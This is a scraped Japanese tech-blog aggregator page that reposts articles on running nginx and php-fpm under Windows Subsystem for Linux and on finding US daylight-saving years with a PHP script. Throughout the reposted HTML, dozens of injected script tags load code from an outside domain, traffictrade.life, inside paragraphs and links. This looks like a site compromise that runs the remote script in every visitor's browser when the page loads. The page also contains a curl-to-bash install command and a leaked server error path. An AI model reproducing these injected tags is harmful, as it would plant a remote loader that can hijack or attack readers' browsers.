Warning: Trying to access array offset on value of type bool in /home/r1029599/public_html/engineer-log.net/wp-content/themes/simplicity2/lib/customizer.php on line 5404

技術系一覧

WEB技術,PHP,MySQL,Apache,LAMP,AWS,nginx,システムエンジニア,WEBエンジニアなどの関連記事

Windows Subsystem for Linux上でphp-fpmを動かしてみた

<div> <p>&#26368;&#36817;&#12398;Windows 10&#12395;&#12399;Linux&#12496;&#12452;&#12490;&#12522;&#12434;&#12381;&#12398;&#12414;&#12414;&#21205;&#12363;&#12377;&#12424;&#12358;&#12394;&#20181;&#32068;&#12415;&#12364;&#23566;&#20837;&#12373;&#12428;&#12390;&#12356;&#12414;&#12377;&#12290;&#12371;&#12428;&#12399; Windows Subsystem for Linux (WSL) &#12392;&#12363; Bash on Ubuntu on Windows (BoW) &#12394;&#12393;&#12392;&#21628;&#12400;&#12428;&#12390;&#12356;&#12427;&#12418;&#12398;&#12391;&#12289;VM&#23455;&#34892;&#12391;&#12394;&#12367;Windows&#12493;&#12452;&#12486;&#12451;&#12502;&#12391;Linux&#12434;&#21205;&#12363;&#12377;&#12392;&#12356;&#12358;&#24847;&#27442;&#30340;&#12394;&#21462;&#12426;&#32068;&#12415;&#12391;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12371;&#12398;&#29872;&#22659;&#12391;&#26368;&#26032;&#29256;&#12398;PHP&#12434;&#12477;&#12540;&#12473;&#12467;&#12540;&#12489;&#12363;&#12425;&#12499;&#12523;&#12489;&#12375;&#12289;&#12450;&#12503;&#12522;&#12465;&#12540;&#12471;&#12519;&#12531;&#12469;&#12540;&#12496;&#12392;&#12375;&#12390;&#21205;&#20316;&#12373;&#12379;&#12390;&#12415;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#26412;&#31295;&#22519;&#31558;&#26178;&#28857;&#65288;2017&#24180;5&#26376;&#65289;&#12391;&#12399;WSL&#33258;&#20307;&#12364;&#12414;&#12384;&#19981;&#23433;&#23450;&#12394;&#21360;&#35937;&#12391;&#12377;&#12364;&#12289;nginx+php-fpm&#12434;&#21205;&#20316;&#12373;&#12379;&#12427;&#12371;&#12392;&#12364;&#12391;&#12365;&#12414;&#12375;&#12383;&#12290;&#20197;&#19979;&#12399;Windows&#12398;localhost 80&#30058;&#12509;&#12540;&#12488;&#12391;PHP&#12364;&#21205;&#20316;&#12375;&#12390;&#12356;&#12427;&#35388;&#25312;&#30011;&#20687;&#12391;&#12377;&#12290;&#12300;System&#12301;&#27396;&#12398;uname&#12398;&#34920;&#31034;&#12395;Microsoft&#12392;&#12356;&#12358;&#25991;&#23383;&#21015;&#12364;&#20837;&#12387;&#12390;&#12356;&#12427;&#12398;&#12364;&#12458;&#12471;&#12515;&#12524;&#12391;&#12377;&#12397;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="http://f.hatena.ne.jp/hnw/20170502120845" target="_blank"><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><img src="http://cdn-ak.f.st-hatena.com/images/fotolife/h/hnw/20170502/20170502120845.png" alt="f:id:hnw:20170502120845p:image" title="f:id:hnw:20170502120845p:image"></a></p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#20197;&#19979;&#12289;WSL&#19978;&#12391;nginx+php-fpm&#12434;&#21205;&#12363;&#12377;&#12414;&#12391;&#12398;&#25163;&#38918;&#12434;&#32057;&#20171;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> WSL&#12398;&#12475;&#12483;&#12488;&#12450;&#12483;&#12503;</h4> <p>&#12300;<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://msdn.microsoft.com/en-us/commandline/wsl/install_guide" target="_blank">Bash on Ubuntu on Windows - Installation Guide</a>&#12301;&#12395;&#24467;&#12387;&#12390;&#12475;&#12483;&#12488;&#12450;&#12483;&#12503;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> PHP&#12398;&#12499;&#12523;&#12489;</h4> <p>&#12414;&#12378;&#12399;WSL&#19978;&#12391;PHP&#12434;&#12499;&#12523;&#12489;&#12375;&#12390;&#12415;&#12414;&#12375;&#12423;&#12358;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12467;&#12531;&#12497;&#12452;&#12523;&#28168;&#12415;&#12496;&#12452;&#12490;&#12522;&#12434;apt&#12391;&#12452;&#12531;&#12473;&#12488;&#12540;&#12523;&#12375;&#12390;&#12418;&#12356;&#12356;&#12398;&#12391;&#12377;&#12364;&#12289;&#26222;&#36890;&#12395;&#12499;&#12523;&#12489;&#12391;&#12365;&#12427;&#31243;&#24230;&#12395;WSL&#12364;&#23433;&#23450;&#12375;&#12390;&#12427;&#12398;&#12363;&#12394;&#65311;&#12392;&#12356;&#12358;&#33288;&#21619;&#12363;&#12425;&#33258;&#21069;&#12499;&#12523;&#12489;&#12375;&#12390;&#12415;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12414;&#12378;&#12399;&#24517;&#35201;&#12497;&#12483;&#12465;&#12540;&#12472;&#12434;&#12452;&#12531;&#12473;&#12488;&#12540;&#12523;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ sudo apt update $ sudo apt install build-essential libxml2-dev zlib1g-dev libcurl4-openssl-dev \ libjpeg62-dev libpng12-dev libmcrypt-dev libreadline-dev libtidy-dev \ libxslt1-dev libssl-dev libbz2-dev git autoconf </pre> <br><p>&#20170;&#22238;&#12399;phpenv+php-build&#12391;PHP&#12434;&#12499;&#12523;&#12489;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ curl -L https://raw.github.com/CHH/phpenv/master/bin/phpenv-install.sh | bash $ mkdir $HOME/.phpenv/plugins $ cd $HOME/.phpenv/plugins $ git clone https://github.com/php-build/php-build.git </pre> <br><p>&#19979;&#35352;&#12398;&#20869;&#23481;&#12434; <code>.bashrc</code> &#12395;&#36861;&#35352;&#12375;&#12390;&#12471;&#12455;&#12523;&#12434;&#20877;&#36215;&#21205;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> PATH=$HOME/.phpenv/bin:$PATH eval "$(phpenv init -)" </pre> <br><p>&#12354;&#12392;&#12399;phpenv&#32076;&#30001;&#12391;PHP&#12434;&#12499;&#12523;&#12489;&#12377;&#12427;&#12384;&#12369;&#12391;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ PHP_BUILD_EXTRA_MAKE_ARGUMENTS=-j4 phpenv install 7.1.4 </pre> <br><p>&#12499;&#12523;&#12489;&#12395;&#12399;&#12363;&#12394;&#12426;&#26178;&#38291;&#12364;&#12363;&#12363;&#12427;&#12398;&#12391;&#27880;&#24847;&#12375;&#12390;&#12367;&#12384;&#12373;&#12356;&#12290;&#31558;&#32773;&#12398;&#25163;&#20803;&#12398;&#12510;&#12471;&#12531;&#65288;Thinkpad X260&#12289;Intel Core i7 2.5GHz&#65289;&#12391;30&#20998;&#20197;&#19978;&#12363;&#12363;&#12426;&#12414;&#12375;&#12383;&#12290;&#21516;&#12376;&#12499;&#12523;&#12489;&#12364;12&#12452;&#12531;&#12481;MacBook&#65288;Early 2016&#12289;Intel Core m5 1.2GHz)&#12391;10&#20998;&#12434;&#20999;&#12427;&#12371;&#12392;&#12434;&#32771;&#12360;&#12427;&#12392;&#12289;&#12414;&#12384;&#12362;&#20181;&#20107;&#12391;&#20351;&#12360;&#12427;&#12524;&#12505;&#12523;&#12391;&#12399;&#12394;&#12356;&#21360;&#35937;&#12391;&#12377;&#12290;&#20170;&#24460;&#12398;&#12497;&#12501;&#12457;&#12540;&#12510;&#12531;&#12473;&#12481;&#12517;&#12540;&#12491;&#12531;&#12464;&#12395;&#26399;&#24453;&#12375;&#12414;&#12375;&#12423;&#12358;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12385;&#12423;&#12387;&#12392;&#36933;&#12356;&#12371;&#12392;&#12434;&#38500;&#12369;&#12400;&#12289;&#12499;&#12523;&#12489;&#33258;&#20307;&#12399;&#27491;&#24120;&#12395;&#32066;&#20102;&#12375;&#12414;&#12377;&#12290;&#12371;&#12371;&#12414;&#12391;&#12399;&#26222;&#36890;&#12398;Linux&#12392;&#22823;&#24046;&#12354;&#12426;&#12414;&#12379;&#12435;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> nginx+php-fpm&#12398;&#35373;&#23450;</h4> <p>&#12388;&#12366;&#12395;&#12289;nginx&#12434;apt&#12391;&#12452;&#12531;&#12473;&#12488;&#12540;&#12523;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ sudo apt install nginx </pre> <br><p>&#35373;&#23450;&#12501;&#12449;&#12452;&#12523; <code>/etc/nginx/sites-enabled/default</code> &#12398;&#35373;&#23450;&#12398;&#12358;&#12385;&#12289;&#19979;&#35352;&#37096;&#20998;&#12398;&#12467;&#12513;&#12531;&#12488;&#12450;&#12454;&#12488;&#12434;&#22806;&#12375;&#12390;&#26377;&#21177;&#21270;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 # location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass 127.0.0.1:9000; } </pre> <br><p>nginx&#12434;&#20877;&#36215;&#21205;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ sudo service nginx restart </pre> <br><p>php-fpm&#12398;&#26041;&#12399;&#12487;&#12501;&#12457;&#12523;&#12488;&#12398;&#35373;&#23450;&#12501;&#12449;&#12452;&#12523;&#12434;&#12467;&#12500;&#12540;&#12375;&#12390;&#12381;&#12398;&#12414;&#12414;&#20351;&#12356;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ cd $HOME/.phpenv/versions/7.1.4/etc/ $ cp php-fpm.conf.default php-fpm.conf $ cp php-fpm.d/www.conf.default php-fpm.d/www.conf </pre> <br><p>&#19979;&#35352;&#12467;&#12510;&#12531;&#12489;&#12391;php-fpm&#12434;&#36215;&#21205;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ $HOME/.phpenv/versions/7.1.4/sbin/php-fpm </pre> <br><p>&#12371;&#12371;&#12391; <code>/var/www/phpinfo.php</code> &#12394;&#12393;&#12434;&#35373;&#32622;&#12377;&#12428;&#12400;&#12289;nginx&#32076;&#30001;&#12391;php-fpm&#12434;&#21033;&#29992;&#12377;&#12427;&#12371;&#12392;&#12364;&#12391;&#12365;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12383;&#12384;&#12375;&#12289;&#12371;&#12398;&#35373;&#23450;&#12384;&#12392;1&#31186;&#12395;1&#22238;&#19979;&#35352;&#12398;&#12456;&#12521;&#12540;&#12364;&#20986;&#32154;&#12369;&#12414;&#12377;&#12290;getsockopt(2) &#12398;&#23455;&#35013;&#12364;&#12414;&#12384;&#19981;&#23436;&#20840;&#12398;&#12424;&#12358;&#12391;&#12377;&#12397;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> [01-May-2017 20:06:06] ERROR: failed to retrieve TCP_INFO for socket: Protocol not available (92) [01-May-2017 20:06:07] ERROR: failed to retrieve TCP_INFO for socket: Protocol not available (92) [01-May-2017 20:06:08] ERROR: failed to retrieve TCP_INFO for socket: Protocol not available (92) </pre> <br><p>TCP&#12391;&#12398;&#12503;&#12525;&#12475;&#12473;&#38291;&#36890;&#20449;&#12395;&#21839;&#38988;&#12364;&#12354;&#12427;&#12394;&#12425;unix domain socket&#12395;&#12377;&#12428;&#12400;&#12356;&#12356;&#12376;&#12419;&#12394;&#12356;&#12289;&#12392;&#32771;&#12360;&#12390;unix domain socket&#12418;&#35430;&#12375;&#12390;&#12415;&#12383;&#12398;&#12391;&#12377;&#12364;&#12289;<code>phpinfo()</code> &#12398;&#32080;&#26524;&#12364;&#36884;&#20013;&#12391;&#20999;&#12428;&#12390;&#12375;&#12414;&#12358;&#12424;&#12358;&#12391;&#12377;&#12290;&#12371;&#12385;&#12425;&#12418;&#23455;&#35013;&#12364;&#19981;&#23436;&#20840;&#12394;&#12424;&#12358;&#12391;&#12289;16KB&#36229;&#12398;&#12487;&#12540;&#12479;&#12364;&#12358;&#12414;&#12367;&#25201;&#12360;&#12394;&#12356;&#12392;&#12363;&#12289;&#12381;&#12435;&#12394;&#21046;&#38480;&#12364;&#12354;&#12426;&#12381;&#12358;&#12394;&#25369;&#21205;&#12395;&#35211;&#12360;&#12414;&#12375;&#12383;&#12290;TCP&#12398;&#26041;&#12364;&#12414;&#12384;&#23433;&#23450;&#12375;&#12390;&#12356;&#12427;&#29366;&#27841;&#12384;&#12392;&#12356;&#12360;&#12427;&#12391;&#12375;&#12423;&#12358;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> &#12414;&#12392;&#12417;</h4> <p>WSL&#12399;&#12414;&#12384;beta&#29256;&#12394;&#12398;&#12391;&#36942;&#24230;&#12398;&#26399;&#24453;&#12434;&#12377;&#12427;&#26041;&#12364;&#24746;&#12356;&#12392;&#35328;&#12360;&#12400;&#12381;&#12358;&#12394;&#12398;&#12391;&#12377;&#12364;&#12289;&#12414;&#12384;&#24615;&#33021;&#12364;&#20986;&#12394;&#12363;&#12387;&#12383;&#12426;&#26410;&#23455;&#35013;&#12398;&#12471;&#12473;&#12486;&#12512;&#12467;&#12540;&#12523;&#12418;&#12354;&#12387;&#12383;&#12426;&#12391;&#12289;&#12362;&#20181;&#20107;&#12391;&#20351;&#12360;&#12427;&#12424;&#12358;&#12395;&#12394;&#12427;&#26085;&#12399;&#36960;&#12356;&#12363;&#12394;&#12289;&#12392;&#12356;&#12358;&#21360;&#35937;&#12434;&#25345;&#12385;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12392;&#12399;&#12356;&#12360;&#12289;&#38263;&#26399;&#30340;&#12395;&#26399;&#24453;&#12391;&#12365;&#12427;&#25216;&#34899;&#12394;&#12398;&#12399;&#38291;&#36949;&#12356;&#12394;&#12356;&#12392;&#12371;&#12429;&#12391;&#12375;&#12423;&#12358;&#12290;&#12373;&#12425;&#12394;&#12427;&#23433;&#23450;&#12392;&#27491;&#24335;&#12522;&#12522;&#12540;&#12473;&#12364;&#24453;&#12385;&#36960;&#12375;&#12356;&#12391;&#12377;&#12397;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> </div>

プログラミング学習で擬似コードを活用しよう!

JavaScript学習に役立つお話がありました。 「擬似コード」でロジックを書き出す練習について紹介されています。 www.webprofessional.jp JavaScriptに限らず、プログラミングの基本を学んだら何か動くモノ(プライベートプロジェクト)を作ってみたくなります。でも実際にどうやって進めたらいいのでしょうか? 現実には、プロジェクトは完璧なコードをガンガン書くことではなく、たくさんの試行錯誤とリファレンスを幾度も参照して少しずつできあがるものなのです。 アプリ作成の進め方として、以下の手順が紹介されています。 最初に基本を身に着けよう 計画を立てる コード無しで書いてい…

NO IMAGE

アメリカで何年の4月1日がサマータイムだったか調べてみた

<div> <p>&#26085;&#20184;&#38306;&#36899;&#12398;&#12486;&#12473;&#12488;&#12465;&#12540;&#12473;&#12434;&#26360;&#12356;&#12390;&#12356;&#12383;&#12425;&#12289;&#12525;&#12469;&#12531;&#12476;&#12523;&#12473;&#12398;1970&#24180;4&#26376;1&#26085;0&#26178;&#12399;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12391;&#12399;&#12394;&#12356;&#12369;&#12428;&#12393;&#12289;2012&#24180;4&#26376;1&#26085;0&#26178;&#12399;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12391;&#12354;&#12427;&#12371;&#12392;&#12395;&#27671;&#12389;&#12365;&#12414;&#12375;&#12383;&#12290;&#20309;&#12363;&#12398;&#38291;&#36949;&#12356;&#12376;&#12419;&#12394;&#12356;&#12363;&#12392;&#24605;&#12387;&#12390;&#25913;&#12417;&#12390;&#35519;&#12409;&#12390;&#12415;&#12383;&#12392;&#12371;&#12429;&#12289;&#12525;&#12469;&#12531;&#12476;&#12523;&#12473;&#12391;4&#26376;1&#26085;&#12364;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12384;&#12387;&#12383;&#24180;&#12399;&#20197;&#19979;&#12398;5&#12388;&#12398;&#26178;&#26399;&#12395;&#21547;&#12414;&#12428;&#12427;&#12371;&#12392;&#12364;&#12431;&#12363;&#12426;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><ul><li> 1918-1919&#24180;</li> <li> 1942-1945&#24180;&#65288;War Time&#65289;</li> <li> 1948&#24180;</li> <li> 1974-1975&#24180;</li> <li> 2007&#24180;&#20197;&#38477;&#12289;&#29694;&#22312;&#12414;&#12391;</li> </ul><br><p>&#12371;&#12398;&#12358;&#12385;&#12289;1&#30058;&#30446;&#12399;&#31532;&#19968;&#27425;&#19990;&#30028;&#22823;&#25126;&#20013;&#12395;&#21046;&#23450;&#12373;&#12428;&#12383;&#12300;&#27161;&#28310;&#26178;&#38291;&#27861;&#12301; (Standard Time Act)&#12395;&#12424;&#12427;&#12418;&#12398;&#12391;&#12377;&#12290;&#12450;&#12513;&#12522;&#12459;&#12391;&#12399;&#21021;&#12398;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#23566;&#20837;&#12391;&#12375;&#12383;&#12364;&#12289;&#19981;&#35413;&#12398;&#12383;&#12417;2&#24180;&#12391;&#24259;&#27490;&#12373;&#12428;&#12383;&#12392;&#12363;&#65288;&#12362;&#12381;&#12425;&#12367;&#32066;&#25126;&#12398;&#24433;&#38911;&#12418;&#12354;&#12387;&#12383;&#12391;&#12375;&#12423;&#12358;&#65289;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>2&#30058;&#30446;&#12399;&#31532;&#20108;&#27425;&#19990;&#30028;&#22823;&#25126;&#26178;&#12398;&#30465;&#12456;&#12493;&#23550;&#31574;&#12392;&#12375;&#12390;&#36890;&#24180;&#12398;&#12300;War Time&#12301;&#12364;&#23455;&#26045;&#12373;&#12428;&#12383;&#12418;&#12398;&#12391;&#12289;1942&#24180;2&#26376;9&#26085;&#12363;&#12425;1945&#24180;9&#26376;30&#26085;&#12414;&#12391;&#32153;&#32154;&#30340;&#12395;&#36939;&#29992;&#12373;&#12428;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>3&#30058;&#30446;&#12399;1948&#24180;&#12395;&#12459;&#12522;&#12501;&#12457;&#12523;&#12491;&#12450;&#12391;&#38651;&#21147;&#21361;&#27231;&#12364;&#12354;&#12426;&#12289;&#12381;&#12398;&#23550;&#31574;&#12391;&#12459;&#12522;&#12501;&#12457;&#12523;&#12491;&#12450;&#24030;&#12398;&#12415;3&#26376;14&#26085;&#12363;&#12425;&#36890;&#24180;&#12398;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12364;&#23455;&#26045;&#12373;&#12428;&#12383;&#12424;&#12358;&#12391;&#12377;&#12290;&#12371;&#12398;&#12371;&#12429;&#21508;&#24030;&#12496;&#12521;&#12496;&#12521;&#12391;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12434;&#23455;&#26045;&#12375;&#12390;&#12356;&#12383;&#12424;&#12358;&#12391;&#12377;&#12364;&#12289;&#38283;&#22987;&#26178;&#26399;&#12399;&#22823;&#21322;&#12364;4&#26376;&#12391;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>4&#30058;&#30446;&#12399;&#31532;&#19968;&#27425;&#12458;&#12452;&#12523;&#12471;&#12519;&#12483;&#12463;&#65288;1973&#24180;&#65289;&#12395;&#12424;&#12427;&#12418;&#12398;&#12290;1967&#24180;&#12363;&#12425;&#20840;&#31859;&#12391;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12364;&#23455;&#26045;&#12373;&#12428;&#12390;&#12356;&#12414;&#12377;&#12364;&#12289;&#12371;&#12398;&#38283;&#22987;&#26178;&#26399;&#12399;4&#26376;&#31532;1&#36913;&#12363;&#12425;&#12391;&#12375;&#12383;&#12290;&#12375;&#12363;&#12375;&#12289;&#12458;&#12452;&#12523;&#12471;&#12519;&#12483;&#12463;&#12398;&#24433;&#38911;&#12395;&#12424;&#12426;1974&#24180;&#12399;1&#26376;6&#26085;&#12363;&#12425;&#12289;1975&#24180;&#12399;2&#26376;23&#26085;&#12363;&#12425;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#38283;&#22987;&#12384;&#12387;&#12383;&#12392;&#12398;&#12371;&#12392;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>5&#30058;&#30446;&#12399;&#12300;&#21253;&#25324;&#12456;&#12493;&#12523;&#12462;&#12540;&#25919;&#31574;&#27861;&#12301;&#65288;Energy Policy Act of 2005&#65289;&#12364;2007&#24180;&#12363;&#12425;&#26045;&#34892;&#12373;&#12428;&#12289;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#38283;&#22987;&#12364;4&#26376;&#31532;1&#36913;&#12363;&#12425;3&#26376;&#31532;2&#36913;&#12395;&#12474;&#12524;&#12383;&#12371;&#12392;&#12395;&#12424;&#12427;&#12418;&#12398;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12395;&#12388;&#12356;&#12390;&#35519;&#12409;&#12390;&#12356;&#12383;&#12399;&#12378;&#12364;&#12289;&#27508;&#21490;&#12398;&#25945;&#31185;&#26360;&#12395;&#36617;&#12387;&#12390;&#12356;&#12427;&#12424;&#12358;&#12394;&#20986;&#26469;&#20107;&#12364;&#38306;&#20418;&#12375;&#12390;&#12367;&#12427;&#12398;&#12399;&#38754;&#30333;&#12356;&#12391;&#12377;&#12397;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> &#19978;&#12398;&#12522;&#12473;&#12488;&#12434;&#20316;&#12427;&#26041;&#27861;</h4> <p>&#19978;&#35352;&#12522;&#12473;&#12488;&#12399;&#20197;&#19979;&#12398;PHP&#12473;&#12463;&#12522;&#12503;&#12488;&#12434;&#20351;&#12387;&#12390;&#27714;&#12417;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> <span>&lt;?php</span> <span>for</span> <span>(</span><span>$</span><span>i</span> <span>=</span> <span>1900</span>; <span>$</span><span>i</span> <span>&lt;=</span> <span>2017</span>; <span>$</span><span>i</span><span>++</span><span>)</span> <span>{</span> <span>$</span><span>dt</span> <span>=</span> <span>new</span> DateTime<span>(</span>"<span>$</span><span>i</span><span>-04-01 00:00:00</span>", <span>new</span> DateTimezone<span>(</span>"<span>America/Los_Angeles</span>"<span>))</span>; <span>var_dump</span><span>(</span><span>$</span><span>dt</span><span>-&gt;</span>format<span>(</span>"<span>c T</span>"<span>))</span>; <span>}</span> </pre> <br><p>&#12371;&#12398;&#12473;&#12463;&#12522;&#12503;&#12488;&#12398;&#20986;&#21147;&#12434;&#19979;&#35352;&#12398;&#12424;&#12358;&#12395;grep&#12377;&#12428;&#12400;&#27161;&#28310;&#26178;&#12391;&#12394;&#12356;&#12418;&#12398;&#65288;&#8786;&#22799;&#26178;&#38291;&#65289;&#12364;&#25244;&#12365;&#20986;&#12379;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ php dst-investigate.php | grep -v ST string(29) "1918-04-01T00:00:00-07:00 PDT" string(29) "1919-04-01T00:00:00-07:00 PDT" string(29) "1942-04-01T00:00:00-07:00 PWT" string(29) "1943-04-01T00:00:00-07:00 PWT" string(29) "1944-04-01T00:00:00-07:00 PWT" string(29) "1945-04-01T00:00:00-07:00 PWT" string(29) "1948-04-01T00:00:00-07:00 PDT" string(29) "1974-04-01T00:00:00-07:00 PDT" string(29) "1975-04-01T00:00:00-07:00 PDT" string(29) "2007-04-01T00:00:00-07:00 PDT" string(29) "2008-04-01T00:00:00-07:00 PDT" string(29) "2009-04-01T00:00:00-07:00 PDT" string(29) "2010-04-01T00:00:00-07:00 PDT" string(29) "2011-04-01T00:00:00-07:00 PDT" string(29) "2012-04-01T00:00:00-07:00 PDT" string(29) "2013-04-01T00:00:00-07:00 PDT" string(29) "2014-04-01T00:00:00-07:00 PDT" string(29) "2015-04-01T00:00:00-07:00 PDT" string(29) "2016-04-01T00:00:00-07:00 PDT" string(29) "2017-04-01T00:00:00-07:00 PDT" </pre> <br><p>&#19978;&#12398;&#12424;&#12358;&#12395;&#12289;&#12479;&#12452;&#12512;&#12478;&#12540;&#12531;&#21517;&#12364;PDT&#65288;Pacific Daylight-saving Time&#12289;&#22826;&#24179;&#27915;&#22799;&#26178;&#38291;&#65289;&#12420;PWT&#65288;Pacific War Time&#12289;&#22826;&#24179;&#27915;&#25126;&#20105;&#26178;&#38291;&#65289;&#12394;&#12393;&#12392;&#34920;&#31034;&#12373;&#12428;&#12390;&#12356;&#12427;&#12398;&#12364;&#12431;&#12363;&#12426;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>PHP&#12398;&#26085;&#20184;&#38306;&#25968;&#12399;Time Zone Database&#12434;&#20803;&#12395;&#12375;&#12390;&#12356;&#12427;&#12398;&#12391;&#12289;&#20182;&#12398;&#35328;&#35486;&#12391;&#12418;&#21516;&#12376;&#32080;&#26524;&#12434;&#24471;&#12427;&#26041;&#27861;&#12364;&#12354;&#12427;&#12392;&#24605;&#12356;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> &#24863;&#24819;&#12394;&#12393;</h4> <p>&#35519;&#12409;&#12390;&#12415;&#12427;&#12392;&#12289;&#30465;&#12456;&#12493;&#23550;&#31574;&#12392;&#12375;&#12390;&#12459;&#12472;&#12517;&#12450;&#12523;&#12395;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12434;&#23455;&#26045;&#12375;&#12390;&#12356;&#12427;&#27508;&#21490;&#12364;&#12431;&#12363;&#12387;&#12390;&#38754;&#30333;&#12356;&#12391;&#12377;&#12397;&#12290;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12364;&#36523;&#36817;&#12391;&#12394;&#12356;&#26085;&#26412;&#20154;&#12398;&#24863;&#35226;&#12384;&#12392;&#12300;&#26412;&#24403;&#12395;&#30465;&#12456;&#12493;&#21177;&#26524;&#12354;&#12427;&#12398;&#65311;&#12301;&#12392;&#12356;&#12358;&#27671;&#12418;&#12375;&#12385;&#12419;&#12356;&#12414;&#12377;&#12369;&#12393;&#12289;&#12365;&#12387;&#12392;&#21177;&#26524;&#12364;&#12354;&#12427;&#12363;&#12425;&#12420;&#12387;&#12390;&#12427;&#12435;&#12391;&#12375;&#12423;&#12358;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12414;&#12383;&#12289;&#24030;&#12372;&#12392;&#12395;&#22799;&#26178;&#38291;&#12398;&#36969;&#29992;&#29366;&#27841;&#12364;&#36949;&#12358;&#12398;&#12418;&#12450;&#12513;&#12522;&#12459;&#12394;&#12425;&#12391;&#12399;&#12391;&#12377;&#12290;&#19978;&#12398;&#12473;&#12463;&#12522;&#12503;&#12488;&#12434; America/Detroit &#12392;&#12363; America/Phoenix &#12394;&#12393;&#12391;&#35430;&#12377;&#12392;&#20840;&#28982;&#36949;&#12358;&#32080;&#26524;&#12395;&#12394;&#12387;&#12390;&#38754;&#30333;&#12356;&#12391;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> &#21442;&#32771;URL</h4> <ul><li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://en.wikipedia.org/wiki/Daylight_saving_time_in_the_United_States" target="_blank">Daylight saving time in the United States - Wikipedia</a></li> <li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://en.wikipedia.org/wiki/Standard_Time_Act" target="_blank">Standard Time Act - Wikipedia</a></li> <li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://en.wikipedia.org/wiki/1973_oil_crisis" target="_blank">1973 oil crisis - Wikipedia</a></li> <li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a 